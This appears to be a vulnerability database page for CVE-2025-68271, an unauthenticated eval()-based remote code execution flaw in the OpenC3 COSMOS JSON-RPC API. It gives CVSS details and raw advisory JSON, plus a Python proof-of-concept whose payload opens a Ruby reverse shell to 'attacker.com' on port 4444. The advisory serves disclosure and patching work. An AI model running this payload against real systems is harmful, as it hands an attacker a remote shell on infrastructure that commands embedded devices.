Security Vulnerability Report
中文
CVE-2025-68271 CVSS 10.0 CRITICAL

CVE-2025-68271

Published: 2026-01-13 19:16:15
Last Modified: 2026-04-15 00:35:42

Description

OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.0 to 6.10.1, OpenC3 COSMOS contains a critical remote code execution vulnerability reachable through the JSON-RPC API. When a JSON-RPC request uses the string form of certain APIs, attacker-controlled parameter text is parsed into values using String#convert_to_value. For array-like inputs, convert_to_value executes eval(). Because the cmd code path parses the command string before calling authorize(), an unauthenticated attacker can trigger Ruby code execution even though the request ultimately fails authorization (401). This vulnerability is fixed in 6.10.2.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

OpenC3 COSMOS >= 5.0.0 且 < 6.10.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-68271 PoC - OpenC3 COSMOS RCE via JSON-RPC API # This PoC exploits the String#convert_to_value eval() vulnerability import requests import json target_url = "http://target:2900/api" # Malicious payload - executes Ruby code via eval() in convert_to_value # The cmd path parses command string BEFORE authorization check malicious_payload = { "jsonrpc": "2.0", "method": "cmd", "params": { "target": "TEST", "cmd_name": "TEST_CMD", "params": [ "[].class_eval{require 'socket';require 'open3';c=TCPSocket.new('attacker.com','4444');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end}" ] }, "id": 1 } # Alternative simpler payload for testing simple_poc = { "jsonrpc": "2.0", "method": "cmd", "params": { "target": "SYSTEM", "cmd_name": "ABORT", "params": [ "[].class_eval{puts 'RCE_SUCCESS'}" ] }, "id": 2 } def exploit(url, payload): """Send malicious JSON-RPC request""" headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } print(f"[*] Sending payload to {url}") print(f"[*] Payload: {json.dumps(payload, indent=2)}") try: response = requests.post(url, json=payload, headers=headers, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None # Execute exploit if __name__ == "__main__": print("=" * 60) print("CVE-2025-68271 OpenC3 COSMOS RCE PoC") print("=" * 60) exploit(target_url, simple_poc)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68271", "sourceIdentifier": "[email protected]", "published": "2026-01-13T19:16:14.673", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenC3 COSMOS provides the functionality needed to send commands to and receive data from one or more embedded systems. From 5.0.0 to 6.10.1, OpenC3 COSMOS contains a critical remote code execution vulnerability reachable through the JSON-RPC API. When a JSON-RPC request uses the string form of certain APIs, attacker-controlled parameter text is parsed into values using String#convert_to_value. For array-like inputs, convert_to_value executes eval(). Because the cmd code path parses the command string before calling authorize(), an unauthenticated attacker can trigger Ruby code execution even though the request ultimately fails authorization (401). This vulnerability is fixed in 6.10.2."}, {"lang": "es", "value": "OpenC3 COSMOS proporciona la funcionalidad necesaria para enviar comandos a y recibir datos de uno o más sistemas embebidos. Desde 5.0.0 hasta 6.10.1, OpenC3 COSMOS contiene una crítica vulnerabilidad de ejecución remota de código accesible a través de la API JSON-RPC. Cuando una solicitud JSON-RPC utiliza la forma de cadena de ciertas API, el texto de parámetro controlado por el atacante se analiza en valores utilizando String#convert_to_value. Para entradas tipo array, convert_to_value ejecuta eval(). Debido a que la ruta de código cmd analiza la cadena de comando antes de llamar a authorize(), un atacante no autenticado puede desencadenar la ejecución de código Ruby aunque la solicitud finalmente falle la autorización (401). Esta vulnerabilidad está corregida en 6.10.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-95"}]}], "references": [{"url": "https://github.com/OpenC3/cosmos/security/advisories/GHSA-w757-4qv9-mghp", "source": "[email protected]"}]}}